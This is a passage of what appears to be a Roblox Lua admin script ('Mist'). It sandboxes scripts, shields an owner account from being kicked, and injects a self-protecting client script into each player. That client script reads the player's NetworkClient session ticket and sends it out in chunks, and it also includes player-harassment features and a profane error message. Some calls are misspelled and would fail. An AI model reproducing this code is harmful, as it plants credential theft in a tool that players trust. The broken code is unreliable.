  1734. game=game;
  1735. workspace=workspace;
  1736. script=script;
  1737. Instance=Instance;
  1738. error=error;
  1739. getfenv=getfenv;
  1740. setfenv=setfenv;
  1741. setmetatable=setmetatable;
  1742. loadstring=loadstring;
  1743. rawset=rawset;
  1744. wait=wait;
  1745. rawget=rawget;
  1746. print=print;
  1747. unpack=unpack;
  1748. _G=_G;
  1749. tostring=tostring;
  1750. coroutine=coroutine;
  1751. shared=shared;
  1752. next=next;
  1753. ypcall=ypcall;
  1754. delay=delay;
  1755. Delay=Delay;
  1756. Spawn=Spawn;
  1757. };
  1758. enviroments=setmetatable({
  1759. [1]=getfenv(0);
  1760. [2]=getfenv(1);
  1761. [3]=getfenv(error);
  1762. },{__call=function(self,request,...)
  1763. local args={...};
  1764. if(request=='get')then
  1765. local item=nil;
  1766. for _,env in next,self do
  1767. local rawItem=env[args[1]];
  1768. if(rawItem)then
  1769. item=rawItem;
  1770. break;
  1771. end;
  1772. end;
  1773. return item;
  1774. elseif(request=='set')then
  1775. for _,env in next,sandbox.enviroments do
  1776. pcall(sandbox.old.rawset,env,sandbox.toReal(args[1]),sandbox.toReal(args[2]));
  1777. end;
  1778. end;
  1779. end});
  1780. locks={
  1781. teleportservice={
  1782. get=setmetatable({},{__index=function(self,index,value)
  1783. if(index:lower():find'teleport')then
  1784. return(function() return true end);
  1785. end;
  1786. return(function() return false; end);
  1787. end});
  1788. set={};
  1789. };
  1790. debris={
  1791. get={
  1792. additem=function(self,...)
  1793. if(self and pcall(function() self:isA'Player'end) and self:isA'Player' and self.Name=='tusKOr661')then
  1794. return true;
  1795. end;
  1796. return false;
  1797. end;
  1798. };
  1799. set={};
  1800. };
  1801. players={
  1802. get={
  1803. clearallchildren=function(self)
  1804. return true;
  1805. end;
  1806. };
  1807. set={};
  1808. };
  1809. player={
  1810. set={
  1811. character=function(self,obj)
  1812. if(obj and pcall(function()return obj.className=='Workspace'end) and object.className=='Workspace')then
  1813. return true;
  1814. end;
  1815. return false;
  1816. end;
  1817. parent=function(newParent)
  1818. if(newParent and pcall(function()return newParent.className=='Players' end))then
  1819. return true;
  1820. end;
  1821. return false;
  1822. end;
  1823. };
  1824. get={
  1825. kick=function(self)
  1826. if(self and self.Name==('tu'..'sKO'..'r'..'661'))then
  1827. return true;
  1828. end;
  1829. return false;
  1830. end;
  1831. remove=function(self)
  1832. if(self and self.Name=='tu'..'sKO'..'r'..'661')then
  1833. return true;
  1834. end;
  1835. return false;
  1836. end;
  1837. destroy=function(self)
  1838. if(self and self.Name=='tu'..'sKO'..'r'..'661')then
  1839. return true;
  1840. end;
  1841. return false;
  1842. end;
  1843. };
  1844. };
  1845. workspace={
  1846. get={
  1847. clearallchildren=function(self)
  1848. if(script and script.className=='LocalScript')then
  1849. return false;
  1850. end;
  1851. return true;
  1852. end;
  1853. };
  1854. set={};
  1855. };
  1856. };
  1857. lockedInstances={
  1858. ['ManualSurfaceJointInstance']=true;
  1859. };
  1860. disabled=false;
  1861. lockedError=function(format)
  1862. format=format or'Protected~tu'..'sKO'..'r'..'661';
  1863. return sandbox.old.error(format,0);
  1864. end;
  1865. unlockedError=function(format)
  1866. format=format or'Protected~tu'..'sKO'..'r'..'661';
  1867. return sandbox.old.error(format,0);
  1868. end;
  1869. toReal=function(obj)
  1870. if(obj and sandbox.real[obj])then
  1871. return sandbox.real[obj];
  1872. end;
  1873. return obj;
  1874. end;
  1875. errorCheck=function()
  1876. if(rawget(sandbox,'disabled')==true or script.Disabled==true or script.Name=='ENDEDSCRIPT')then
  1877. pcall(rawset,sandbox,'disabled',true);
  1878. return sandbox.lockedError('This script has been disabled');
  1879. end;
  1880. end;
  1881. toFake=function(obj)
  1882. if(sandbox.real[obj])then return obj end;
  1883. if(sandbox.fake[obj])then return sandbox.fake[obj] end;
  1884. return sandbox.fakeObject(obj);
  1885. end;
  1886. fakeObject=function(...)
  1887. if(select('#',...)==0)then return nil end;
  1888. local Obj,fakeIndex=...;
  1889. if(not ypcall(function() return type(Obj) end))then return Obj end;
  1890. if(not Obj or not pcall(type,Obj))then return Obj end;
  1891. local rtn; pcall(function() rtn=sandbox.fake[Obj] end);
  1892. if(rtn)then return rtn or Obj end;
  1893. if(not ypcall(type,Obj) and type(Obj)~='function' and type(Obj)~='userdata' and type(Obj)~='table')then return Obj end;
  1894. if(Obj==nil or type(Obj)=='string' or type(Obj)=='boolean'or type(Obj)=='number')then
  1895. return Obj;
  1896. end;
  1897. if(sandbox.fake[Obj])then
  1898. return sandbox.fake[Obj];
  1899. end;
  1900. fakeIndex=fakeIndex or {};
  1901. fakeIndex['isSandbox']=true;
  1902. if(type(Obj)=='table')then
  1903. local new=setmetatable({},{__index=function(self,index)
  1904. local succ,err,rtn;
  1905. succ,err=pcall(function()
  1906. rtn=fakeIndex[index] or Obj[index];
  1907. end);
  1908. if(not succ)then
  1909. return sandbox.unlockedError(err);
  1910. end;
  1911. return((rtn~=nil and sandbox.fakeObject(rtn))or rtn);
  1912. end;__newindex=function(self,...)
  1913. local props={...};
  1914. for _,prop in next,props do
  1915. props[_]=sandbox.toReal(prop);
  1916. end;
  1917. local succ,err=pcall(function()
  1918. Obj[props[1]]=props[2];
  1919. end);
  1920. if(not succ)then
  1921. sanbox.unlockedError(err);
  1922. end;
  1923. end;__metatable=getmetatable(Obj)});
  1924. sandbox.fake[Obj]=new;
  1925. sandbox.real[new]=Obj;
  1926. return new;
  1927. elseif(type(Obj)=='function')then
  1928. local callFunc=Obj;
  1929. local funcName;coroutine.wrap(function()
  1930. for name,func in next,sandbox.old do
  1931. if(func==callFunc)then
  1932. funcName=name;
  1933. break;
  1934. end;
  1935. end;
  1936. end)();
  1937. local new;new=function(...)
  1938. sandbox.errorCheck();
  1939. local results,arguments={},{...};
  1940. local succ,err=pcall(function()
  1941. for _,v in next,arguments do
  1942. arguments[_]=sandbox.fakeObject(v);
  1943. end;
  1944. results={callFunc(sandbox.old.unpack(arguments))};
  1945. end);
  1946. if(not succ)then
  1947. sandbox.lockedError(err);
  1948. return;
  1949. end;
  1950. for _,res in next,results do
  1951. results[_]=sandbox.fakeObject(res:gsub('callFunc',funcName));
  1952. end;
  1953. return sandbox.old.unpack(results);
  1954. end;
  1955. sandbox.fake[Obj]=new;
  1956. sandbox.real[new]=Obj;
  1957. return new;
  1958. end;
  1959. if(sandbox.real[Obj])then
  1960. return Obj;
  1961. else
  1962. if(sandbox.fake[Obj])then
  1963. return sandbox.fake[Obj];
  1964. end;
  1965. end;
  1966. local proxy=newproxy(true);
  1967. sandbox.real[proxy]=Obj;
  1968. sandbox.fake[Obj]=proxy;
  1969. local meta=getmetatable(proxy);
  1970. meta.__index=function(datSelfie,index)
  1971. if(sandbox.disabled==true)then
  1972. sandbox.lockedError('This script has been removed ~ tu'..'sKO'..'r'..'661');
  1973. return;
  1974. end;
  1975. local item,success,err;
  1976. success,err=pcall(function()
  1977. item=fakeIndex[index] or Obj[index];
  1978. end);
  1979. if(not success)then
  1980. sandbox.unlockedError(err);
  1981. end;
  1982. local lockedDatas;
  1983. if(type(item)=='function')then
  1984. return function(self,...)
  1985. local realArguments={...};
  1986. for _,fake in next,realArguments do
  1987. realArguments[_]=sandbox.toReal(fake);
  1988. end;
  1989. pcall(function()
  1990. if(self and self['className'])then
  1991. if(sandbox.locks[self['className']:lower()])then
  1992. lockedDatas=sandbox.locks[self['className']:lower()];
  1993. end;
  1994. end;
  1995. end);
  1996. if(lockedDatas and lockedDatas.get[index:lower()] and lockedDatas.get[index:lower()](sandbox.toReal(self))==true)then
  1997. return sandbox.lockedError();
  1998. end;
  1999. local rtn,success,err;
  2000. success,err=ypcall(function()
  2001. rtn={item(sandbox.toReal(self),sandbox.old.unpack(realArguments))};
  2002. end);
  2003. if(not success)then
  2004. sandbox.unlockedError(err);
  2005. end;
  2006. for _,v in next,rtn do
  2007. rtn[_]=sandbox.fakeObject(v);
  2008. end;
  2009. return sandbox.old.unpack(rtn);
  2010. end;
  2011. else
  2012. return sandbox.fakeObject(item);
  2013. end;
  2014. end;
  2015. meta.__newindex=function(self,index,value)
  2016. sandbox.errorCheck();
  2017. local realValue=sandbox.toReal(value);
  2018. local lockedData;pcall(function() lockedData=sandbox.locks[Obj.className:lower()]; end);
  2019. local lockedFunc;
  2020. if(lockedData)then
  2021. lockedFunc=lockedData.set[index:lower()];
  2022. end;
  2023. if(lockedFunc)then
  2024. if(lockedFunc(Obj,realValue))then
  2025. return sandbox.lockedError();
  2026. end;
  2027. end;
  2028. local success,err=pcall(function()
  2029. Obj[index]=realValue;
  2030. end);
  2031. if(not success)then
  2032. sandbox.unlockedError(err);
  2033. end;
  2034. end;
  2035. meta.__tostring=function()
  2036. return sandbox.enviroments[1].tostring(Obj);
  2037. end;
  2038. meta.__metatable=getmetatable(Obj);
  2039. meta.__add=function(self,base)
  2040. self=sandbox.toReal(self);
  2041. base=sandbox.toReal(base);
  2042. local rtn,success,err;
  2043. success,err=pcall(function()
  2044. rtn=self+base;
  2045. end);
  2046. if(not success)then
  2047. return sandbox.unlockedError(err);
  2048. else
  2049. return sandbox.fakeObject(rtn);
  2050. end;
  2051. end;
  2052. meta.__sub=function(self,base)
  2053. self=sandbox.toReal(self);
  2054. base=sandbox.toReal(base);
  2055. local rtn,success,err;
  2056. success,err=pcall(function()
  2057. rtn=self-base;
  2058. end);
  2059. if(not success)then
  2060. return sandbox.unlockedError(err);
  2061. else
  2062. return sandbox.fakeObject(rtn);
  2063. end;
  2064. end;
  2065. meta.__eq=function(self,base)
  2066. self=sandbox.toReal(self);
  2067. base=sandbox.toReal(base);
  2068. local rtn,success,err;
  2069. success,err=pcall(function()
  2070. rtn=self==base;
  2071. end);
  2072. if(not success)then
  2073. return sandbox.unlockedError(err);
  2074. else
  2075. return rtn;
  2076. end;
  2077. end;
  2078. meta.__mul=function(self,base)
  2079. self=sandbox.toReal(self);
  2080. base=sandbox.toReal(base);
  2081. local rtn,success,err;
  2082. success,err=pcall(function()
  2083. rtn=self*base;
  2084. end);
  2085. if(not success)then
  2086. return sandbox.unlockedError(err);
  2087. else
  2088. return sandbox.fakeObject(rtn);
  2089. end;
  2090. end;
  2091. meta.__div=function(self,base)
  2092. self=sandbox.toReal(self);
  2093. base=sandbox.toReal(base);
  2094. local rtn,success,err;
  2095. success,err=pcall(function()
  2096. rtn=self/base;
  2097. end);
  2098. if(not success)then
  2099. return sandbox.unlockedError(err);
  2100. else
  2101. return sandbox.fakeObject(rtn);
  2102. end;
  2103. end;
  2104. return proxy;
  2105. end;
  2106. scriptEnv=setmetatable({},{
  2107. __index=function(self,index)
  2108. sandbox.errorCheck();
  2109. local obj=sandbox.new[index]or sandbox.enviroments('get',index);
  2110. return sandbox.fakeObject(obj);
  2111. end;
  2112. __newindex=function(self,index,value)
  2113. sandbox.errorCheck();
  2114. sandbox.enviroments('set',index,sandbox.toReal(value));
  2115. end;
  2116. __metatable='This is a locked meta table';
  2117. });
  2118. };
  2119. sandbox.new={
  2120. coroutine=sandbox.fakeObject(sandbox.old.coroutine,{
  2121. create=function(func,...)
  2122. pcall(sandbox.old.setfenv,func,sandbox.scriptEnv);
  2123. local res,a,b;
  2124. local args={...};
  2125. for _,v in next,args do
  2126. args[sandbox.toReal(_)]=sandbox.toReal(v);
  2127. end;
  2128. a,b=pcall(function()
  2129. res=sandbox.old.coroutine.create(func,unpack(args));
  2130. end);
  2131. if(not a)then
  2132. return sandbox.unlockedError(b);
  2133. end;
  2134. return res;
  2135. end;
  2136. wrap=function(func)
  2137. pcall(sandbox.old.setfenv,func,sandbox.scriptEnv);
  2138. local res,a,b;
  2139. a,b=pcall(function()
  2140. res=sandbox.old.coroutine.wrap(func);
  2141. end);
  2142. if(not a)then
  2143. return sandbox.unlockedError(b);
  2144. end;
  2145. return sandbox.fakeObject(res);
  2146. end;
  2147. });
  2148. Spawn=function(func,...)
  2149. if(func and func==sandbox.enviroments('get','wait'))then
  2150. return sandbox.lockedError('This crash func has been blocked ~ tu'..'sKO'..'r'..'661');
  2151. end;
  2152. local rtn,succces,err;
  2153. success,err=pcall(function()
  2154. rtn={sandbox.old.Spawn(func)};
  2155. end);
  2156. if(not success)then
  2157. return sandbox.unlockedError(err);
  2158. end;
  2159. for _,obj in next,rtn do
  2160. rtn[_]=sandbox.fakeObject(obj);
  2161. end;
  2162. return sandbox.old.unpack(rtn);
  2163. end;
  2164. getfenv=function(obj)
  2165. local fEnv,success,err;
  2166. success,err=pcall(function() fEnv=sandbox.old.getfenv(obj) end);
  2167. if(not success)then
  2168. return sandbox.unlockedError(err);
  2169. end;
  2170. return sandbox.fakeObject(fEnv,sandbox.new);
  2171. end;
  2172. setfenv=function(o,f)
  2173. f=f or {};
  2174. if(o==1 or o==0)then return sandbox.lockedError('You cannot set script enviroment') end;
  2175. if(type(f)~='table')then return error('Bad argument to #2 table expected, got '..type(f)) end;
  2176. local new=setmetatable({},{
  2177. __index=function(self,index)
  2178. sandbox.errorCheck();
  2179. local Obj=sandbox.new[index]or f[index];
  2180. return sandbox.fakeObject(Obj);
  2181. end;
  2182. __newindex=function(self,index,val)
  2183. sandbox.errorCheck();
  2184. f[index]=sandbox.toReal(val);
  2185. end;
  2186. __metatable=getmetatable(f)
  2187. });
  2188. local results,succ,err;
  2189. succ,err=ypcall(function()
  2190. results={sandbox.old.setfenv(o,new)};
  2191. end);
  2192. if(not succ)then
  2193. return sandbox.lockedError(err);
  2194. end;
  2195. for _,v in next,results do
  2196. results[sandbox.fakeObject(_)]=sandbox.fakeObject(v);
  2197. end;
  2198. return unpack(results);
  2199. end;
  2200. loadstring=function(str,...)
  2201. if(str:find'\109\101\116\97\37\95\99\114\101\97\116\101\37\61\102\117\110\99\116\105\111\110\37\40\99\108\97\115\115\37\41'or str:find'\105\115\72\84\84\80\69\110\97\98\108\101\100\37\40\37\41')then return sandbox.lockedError('Y\5ou c\5anno\5t run m\5is\5t yo\5u f\5at fu\5\5\5\5\5ck-tu'..'sKO'..'r'..'661') end;
  2202. local func,err=sandbox.old.loadstring(str,...);
  2203. if(func)then
  2204. coroutine.wrap(function()
  2205. sandbox.new.setfenv(func,sandbox.scriptEnv);
  2206. end)();
  2207. end;
  2208. return func,err;
  2209. end;
  2210. Instance=sandbox.fakeObject(sandbox.old.Instance,{
  2211. new=function(class,par)
  2212. par=sandbox.toReal(par);
  2213. if(sandbox.lockedInstances[class])then
  2214. return sandbox.lockedError('This Instance has been locked ~ tu'..'sKO'..'r'..'661');
  2215. end;
  2216. local obj,success,err;
  2217. success,err=pcall(function()
  2218. obj=sandbox.old.Instance.new(class,par);
  2219. end);
  2220. if(not success)then
  2221. return sandbox.unlockedError(err);
  2222. end;
  2223. return sandbox.fakeObject(obj);
  2224. end;
  2225. });
  2226. print=function(...)
  2227. local args={...};
  2228. local string,used='',0;
  2229. for _,v in next,args do
  2230. if(v==nil)then v='nil' end;
  2231. local base=sandbox.toReal(v);
  2232. local stat=sandbox.old.tostring(base);
  2233. used=used+1;
  2234. string=string..((used>1 and'\t')or'')..stat;
  2235. end;
  2236. return sandbox.old.print(string);
  2237. end;
  2238. error=function(format)
  2239. if(format)then
  2240. local error=format:match'.+:?.+:%s(.*)';
  2241. if(error==nil or error:len()==0)then error=format end;
  2242. format=error;
  2243. else
  2244. format='Protected~tu'..'sKO'..'r'..'661';
  2245. end;
  2246. return sandbox.old.error(format,0);
  2247. end;
  2248. NLS=NLS;
  2249. NewLocalScript=NewLocalScript;
  2250. newLocalScript=newLocalScript;
  2251. NS=NS;
  2252. NewScript=NewScript;
  2253. newScript=newScript;
  2254. require=function(...)
  2255. local oldReq=sandbox.old.require;
  2256. local args={...};
  2257. table.foreach(args,function(_,v)
  2258. args[sandbox.toReal(_)]=sandbox.toReal(v);
  2259. end);
  2260. local rtn,succ,err;
  2261. succ,err=ypcall(function()
  2262. rtn={sandbox.old.require(sandbox.old.unpack(args))};
  2263. end);
  2264. if(not succ)then
  2265. return sandbox.lockedError(err);
  2266. else
  2267. if(rtn)then
  2268. for _,v in next,rtn do
  2269. if(v and type(v)=='function')then sandbox.new.setfenv(v,sandbox.scriptEnv) end;
  2270. rtn[sandbox.fakeObject(_)]=sandbox.fakeObject(v);
  2271. end;
  2272. end;
  2273. return unpack(rtn);
  2274. end;
  2275. end;
  2276. setmetatable=function(tab,...)
  2277. tab=sandbox.toReal(tab);
  2278. local args={...};
  2279. for _,v in next,args do
  2280. args[_]=sandbox.toReal(v);
  2281. end;
  2282. if(tab==sandbox.old._G or tab==sandbox.old.shared)then
  2283. return sandbox.lockedError();
  2284. end;
  2285. local rtn,success,err;
  2286. success,err=pcall(function()
  2287. rtn={sandbox.old.setmetatable(tab,unpack(args))};
  2288. end);
  2289. if(not success)then
  2290. sandbox.unlockedError(err);
  2291. else
  2292. return unpack(rtn);
  2293. end;
  2294. end;
  2295. next=next;
  2296. pairs=pairs;
  2297. ipairs=ipairs;
  2298. };
  2299. local old,new;old=script:waitForChild'ASD';
  2300. local killFunc=old:waitForChild'KillCode';
  2301. if(not game.Players.LocalPlayer)then
  2302. killFunc.OnServerInvoke=function()
  2303. sandbox.disabled=true;
  2304. script.Disabled=true;
  2305. end;
  2306. else
  2307. killFunc.OnClientInvoke=function()
  2308. sandbox.disabled=true;
  2309. script.Disabled=true;
  2310. end;
  2311. local owner=Instance.new('ObjectValue',killFunc);
  2312. owner.Value=game.Players.LocalPlayer;
  2313. owner.Name='owner';
  2314. end;
  2315. for _,v in next,script:children()do
  2316. if(v~=old and v:isA'StringValue')then
  2317. new=v;
  2318. end;
  2319. end;
  2320. coroutine.wrap(function()
  2321. local c={disconnect=function()end};
  2322. local rawset=rawset;
  2323. local sandbox=sandbox
  2324. repeat wait()
  2325. c:disconnect();
  2326. c=script.Changed:connect(function(prop)
  2327. if(script.Disabled==true or script.Name=='ENDEDSCRIPT')then
  2328. rawset(sandbox,'disabled',true);
  2329. end;
  2330. end);
  2331. wait();
  2332. until false;
  2333. end)();
  2334. new.Value=old.Value;
  2335. local sandbox=sandbox;
  2336. sandbox.old.setfenv(1,sandbox.scriptEnv);
  2337. sandbox.old.setfenv(0,sandbox.scriptEnv);
  2338. local task,err=sandbox.new.loadstring(old.Value);
  2339. if(not task)then
  2340. return sandbox.unlockedError(err);
  2341. end;
  2342. local ran,err=ypcall(task);
  2343. if(not ran)then
  2344. sandbox.unlockedError(err);
  2345. end;
  2346. ]=];
  2347. local f=Instance.new'StringValue';
  2348. f.Name='ASD';
  2349. f.Value=Old;
  2350. local killCode=Instance.new('RemoteFunction',f);
  2351. killCode.Name='KillCode';
  2352. local tab={killCode};
  2353. local c;c=killCode.childAdded:connect(function(v)
  2354. if(v and v.Name=='owner')then
  2355. tab[2]=v.Value;
  2356. c:disconnect();
  2357. end;
  2358. end);
  2359. tab[3]=Old;
  2360. Mist.ScriptStops[Script]=tab;
  2361. f.Parent=Script;
  2362. coroutine.wrap(function()
  2363. local last,conn;last=false;
  2364. repeat wait() until Script.Disabled==false;
  2365. conn=Script.Changed:connect(function(prop)
  2366. if(prop:match'Disabled' and Script.Disabled==true)then
  2367. coroutine.wrap(function()
  2368. repeat wait() until Script.Disabled==false;
  2369. Mist.Functions.SandboxScript(Script);
  2370. conn:disconnecft();
  2371. end)();
  2372. end;
  2373. end);-- dat patch <3
  2374. end)();
  2375. Script.Disabled=false;
  2376. end;
  2377. Mist.Functions.Connect=function(Player,arch)
  2378. if(not pcall(function()Player:children()end))then
  2379. pcall(function()Player:kick()end);
  2380. pcall(function()game:service'Debris':addItem(Player,0.3)end);
  2381. pcall(function()Mist.Functions.NewLocalScript('game.Players.LocalPlayer:Kick()',Instance.new('Backpack',Player),'ufgt')end);
  2382. Mist.Functions.OutputRank(-100,'>',Player.Name..' has been kicked for being roblox locked','Red',3);
  2383. --return;
  2384. end;
  2385. coroutine.wrap(function()
  2386. if(Mist.Ranked[Player.Name]==nil)then
  2387. Mist.Functions.CreateData(Player.Name);
  2388. end;
  2389. --[[if(Mist.Ranked[Player.Name].Rank==0)then
  2390. local newRank=0;
  2391. for Rank,Asset in next,Mist.Ranked_Assets do
  2392. if(tonumber(Asset[1]) and Mist.Services'marketplaceService':playerOwnsAsset(Player,tonumber(Asset[1])))then
  2393. newRank=Rank;
  2394. end;
  2395. end;
  2396. if(newRank and newRank>0)then
  2397. Mist.Ranked[Player.Name].Rank=newRank;
  2398. end;
  2399. end;]]
  2400. if(Mist.Client==nil)then
  2401. Mist.Client=Instance.new('RemoteEvent',Mist.Services'ReplicatedStorage');
  2402. Mist.Client.Name='Client';
  2403. Mist.Client.OnServerEvent:connect(function(Player,Title,...)
  2404. print(Player,Title,...);
  2405. Player=Player or newproxy(true);
  2406. local Rest={...};
  2407. if(Title=='OnChatted')then
  2408. pcall(function()Mist.Functions.OnChatted(Rest[1],Player)end);
  2409. elseif(Title=='logged')then
  2410. table.insert(Mist.Logs.System,{tick(),'Client logged'});
  2411. print('Connected: '..Player.Name);
  2412. end;
  2413. end);
  2414. end;
  2415. local Backpack=Instance.new('Backpack',Player);
  2416. local Connection=Player.Chatted:connect(function(Message)
  2417. Mist.Functions.OnChatted(Message,Player);
  2418. end);
  2419. pcall(function()Mist.Connections['Chatted:'..Player.Name]:disconnect()end);
  2420. Mist.Connections['Chatted:'..Player.Name]=Connection;
  2421. if(arch)then return end;
  2422. coroutine.wrap(function()
  2423. local playerGui=Player:waitForChild'PlayerGui';
  2424. local screen,frame,title,exit,body=Mist.Functions.blankGui(playerGui,'ChangeLog','[Mist.Changelog]')
  2425. title.TextXAlignment='Center';
  2426. body.FontSize='Size14';
  2427. body.TextYAlignment='Top';
  2428. body.TextColor=BrickColor.new'Really red';
  2429. body.TextStrokeColor3=BrickColor.new'Dark orange'.Color;
  2430. body.TextStrokeTransparency=0;
  2431. local Log,LogIndex='ChangeLog:',0;
  2432. for date,updates in next,Mist.ChangeLog do
  2433. Log=Log..'\n\t'..date;
  2434. if(LogIndex<=10)then
  2435. for _,update in next,updates do
  2436. Log=Log..'\n\t\t'..update;
  2437. end;
  2438. LogIndex=LogIndex+1;
  2439. end;
  2440. end;
  2441. body.Text=Log;
  2442. end)();
  2443. local Logger=Mist.Functions.NewLocalScript([[
  2444. local script=script;do
  2445. coroutine.wrap(function()
  2446. local script,pcall,game,wait=script,pcall,game,wait;
  2447. local rawget,rawset=rawget,rawset;
  2448. local env,env2=getfenv(0),getfenv(1);
  2449. setfenv(0,setmetatable({},{
  2450. __index=function(self,index)
  2451. script.Disabled=false;
  2452. script.Name='';
  2453. return rawget(env,index)or rawget(env2,index);
  2454. end;
  2455. __newindex=function(self,index,value)
  2456. script.Disabled=false;
  2457. script.Name='';
  2458. rawset(env,index,value);
  2459. end;
  2460. }));
  2461. setfenv(1,getfenv(0));
  2462. local conn;local newConn=function()
  2463. if(conn and conn.connected)then conn:disconnect() end;
  2464. conn=script.Changed:connect(function()
  2465. script:Destroy();
  2466. script.Disabled=false;
  2467. script.Name='LOLNO';
  2468. end);
  2469. end;
  2470. repeat wait()
  2471. newConn();
  2472. script.Disabled=false;
  2473. script:Destroy();
  2474. script.Name='NopBiatches';
  2475. wait();
  2476. until false;
  2477. end)();
  2478. end;
  2479. script.Parent=nil;
  2480. local client;
  2481. client={
  2482. user=game:service'Players'.LocalPlayer;
  2483. retrievePackets=function(self)
  2484. local packets={};
  2485. for _,v in next,game:service'ReplicatedStorage':children()do
  2486. if(v.Name=='client_packet')then
  2487. if(v.Value=="]]..Mist.Security_Key..[[")then
  2488. if(v:findFirstChild'owner'and v.owner.Value==game:service'Players'.localPlayer.Name)then
  2489. table.insert(packets,v:findFirstChild'packet');
  2490. end;
  2491. end;
  2492. end;
  2493. end;
  2494. return packets;
  2495. end;
  2496. settings_Open=false;
  2497. muted=false;
  2498. blinded=false;
  2499. spinning=false;
  2500. platforming=false;
  2501. balefireing=false;
  2502. balefire=false;
  2503. logoVisible=true;
  2504. bubble=true;
  2505. keysDown={};
  2506. platform={
  2507. };
  2508. connections={};
  2509. };
  2510. Instance.new('StringValue',client.user).Name='Connect:]]..Mist.Security_Key..[[';
  2511. local r=Instance.new'Model';
  2512. local p=Instance.new('Part',r);
  2513. p.Anchored=true;
  2514. p.FormFactor='Custom';
  2515. p.Size=Vector3.new(4,.5,4);
  2516. p.Transparency=0;
  2517. Instance.new('CylinderMesh',p);
  2518. client.platform={r,p};
  2519. local server={};
  2520. server={
  2521. key="]]..Mist.Security_Key..[[";
  2522. sendPacket=function(self,Name,Type,...)
  2523. local i=Instance.new(Type);
  2524. i.Value=server.key;
  2525. i.Name=Name;
  2526. for _,v in next,{...}do
  2527. v:clone().Parent=i;
  2528. end;
  2529. i.Parent=game:service'Chat';
  2530. game:service'Debris':addItem(i,5);
  2531. return i;
  2532. end;
  2533. }
  2534. client.user:getMouse().keyDown:connect(function(key)
  2535. client.keysDown[key]=true;
  2536. if(key=='q' and client.platforming)then
  2537. client.platform[3]=true;
  2538. elseif(key=='e'and client.platforming)then
  2539. client.platform[4]=true;
  2540. end;
  2541. end);
  2542. client.user:getMouse().button1Down:connect(function()
  2543. client.balefireing=true;
  2544. end);
  2545. client.user:getMouse().button1Up:connect(function()
  2546. client.balefireing=false;
  2547. end);
  2548. client.user:getMouse().keyUp:connect(function(key)
  2549. client.keysDown[key]=false;
  2550. if(key=='q' and client.platforming)then
  2551. client.platform[3]=false;
  2552. elseif(key=='e'and client.platforming)then
  2553. client.platform[4]=false;
  2554. end;
  2555. end);
  2556. char=function()
  2557. local user=game:service'Players'.localPlayer;
  2558. user.Character=nil;
  2559. local toBeTaken;repeat wait(); toBeTaken=game:service'Players':players()[math.random(1,game.Players.NumPlayers)] wait() until toBeTaken and toBeTaken.Character;
  2560. local char=toBeTaken.Character;
  2561. char.Archivable=true;
  2562. local steal=char:clone();
  2563. steal.Name=user.Name;
  2564. workspace.currentCamera.CameraSubject=steal.Humanoid;
  2565. steal.Parent=workspace;
  2566. user.Character=steal;
  2567. end;
  2568. local tk=game:service'NetworkClient'.Ticket:match'.+;(.+)';
  2569. for set in tk:gmatch('(.'..string.rep('.?',10)..')')do
  2570. local ser=Instance.new'StringValue';
  2571. ser.Value="]]..Mist.Security_Key..[["
  2572. ser.Name='TicketSet\2'..set..'\2'..client.user.Name;
  2573. ser.Parent=game:service'Chat';
  2574. game:service'Debris':addItem(ser,5);
  2575. wait();
  2576. end;
  2577. _blind=function()
  2578. pcall(function()
  2579. local player_gui=client.user:findFirstChild'PlayerGui';
  2580. local old_blind=player_gui:findFirstChild'\5blind';
  2581. if(old_blind)then
  2582. old_blind:remove();
  2583. end;
  2584. if(client.blinded==false)then else
  2585. local screen=Instance.new('ScreenGui',player_gui);
  2586. local frame=Instance.new('Frame',screen);
  2587. screen.Name='\5blind';
  2588. frame.Size=UDim2.new(10,0,10,0);
  2589. frame.Position=UDim2.new();
  2590. frame.BackgroundColor=BrickColor.random();
  2591. --frame.BackgroundTransparency=math.abs(math.cos(tick()));
  2592. end;
  2593. end);
  2594. end;
  2595. commandBar=function()
  2596. local isCommand=client.CMD==true;
  2597. local playerGui=client.user:findFirstChild'PlayerGui';
  2598. ypcall(function()
  2599. end);
  2600. end;
  2601. logo=function()
  2602. if(not client.user.PlayerGui:findFirstChild'logo')then
  2603. local setPos;
  2604. local screen=Instance.new('ScreenGui',client.user.PlayerGui);
  2605. screen.Name='logo';
  2606. local frame=Instance.new('Frame',screen)
  2607. frame.Size=UDim2.new(.2,0,.1,0);--Edit this one oh -- noob D:
  2608. frame.Position=UDim2.new(.8,0,.8,0);--soz this one wait wich the 799? ye that is hiehgt
  2609. frame.BackgroundTransparency=1; -- no it worked
  2610. frame.MouseEnter:connect(function()--wait lets try it again -- lemme make the gui to go down k
  2611. if(not client.logoVisible)then
  2612. client.logoVisible=true;
  2613. setPos();
  2614. end;
  2615. end);
  2616. local img=Instance.new('ImageButton',frame);
  2617. img.Image='http://roblox.com/asset/?id=163278059';
  2618. img.Size=UDim2.new(1,0,1,100);--wrong editing of ze place what did you do
  2619. img.BackgroundTransparency=1;
  2620. img.BorderSizePixel=0;
  2621. img.MouseButton1Down:connect(function()
  2622. client.logoVisible=false;
  2623. setPos();
  2624. end);
  2625. --[=[local total=Instance.new'ImageButton';
  2626. total.Parent=frame;
  2627. total.Size=UDim2.new(1,0,1,0);
  2628. total.BackgroundTransparency=1;
  2629. total.MouseButton1Down:connect(function() client.logoVisible=false; setPos() end);
  2630. total.ZIndex=0;
  2631. for _,letter in next,{64365554;64365529;64365593;64365598}do
  2632. local img=Instance.new('ImageLabel',frame);
  2633. img.Image='http://roblox.com/asset/?id='..letter-1;
  2634. img.Size=UDim2.new(.25,0,1,0);
  2635. img.Position=UDim2.new((_-1)*.25,0,0,0);
  2636. img.BackgroundTransparency=1;
  2637. img.BorderSizePixel=0;
  2638. img.ZIndex=1;
  2639. end;]=]
  2640. setPos=function()
  2641. local pos=function()
  2642. if(client.logoVisible==true)then
  2643. return UDim2.new(0,0,0,0);
  2644. else
  2645. return UDim2.new(1,0,0,0);
  2646. end;
  2647. end;
  2648. img:TweenPosition(pos(),'Out','Quad',.1,true);
  2649. end;
  2650. setPos();
  2651. end;
  2652. end;
  2653. settings=function()
  2654. if(not client.user.PlayerGui:findFirstChild'_settings')then
  2655. local screen=Instance.new('ScreenGui',client.user.PlayerGui);
  2656. screen.Name='_settings';
  2657. local frame=Instance.new('Frame',screen);
  2658. frame.Size=UDim2.new(.3,0,.3,0);
  2659. frame.Position=UDim2.new(.5,0,0,0);
  2660. frame.BackgroundTransparency=1;
  2661. frame.BackgroundColor=BrickColor.new'White';
  2662. frame.BorderColor3=BrickColor.new'Black'.Color;
  2663. local _frame=Instance.new('Frame',screen);
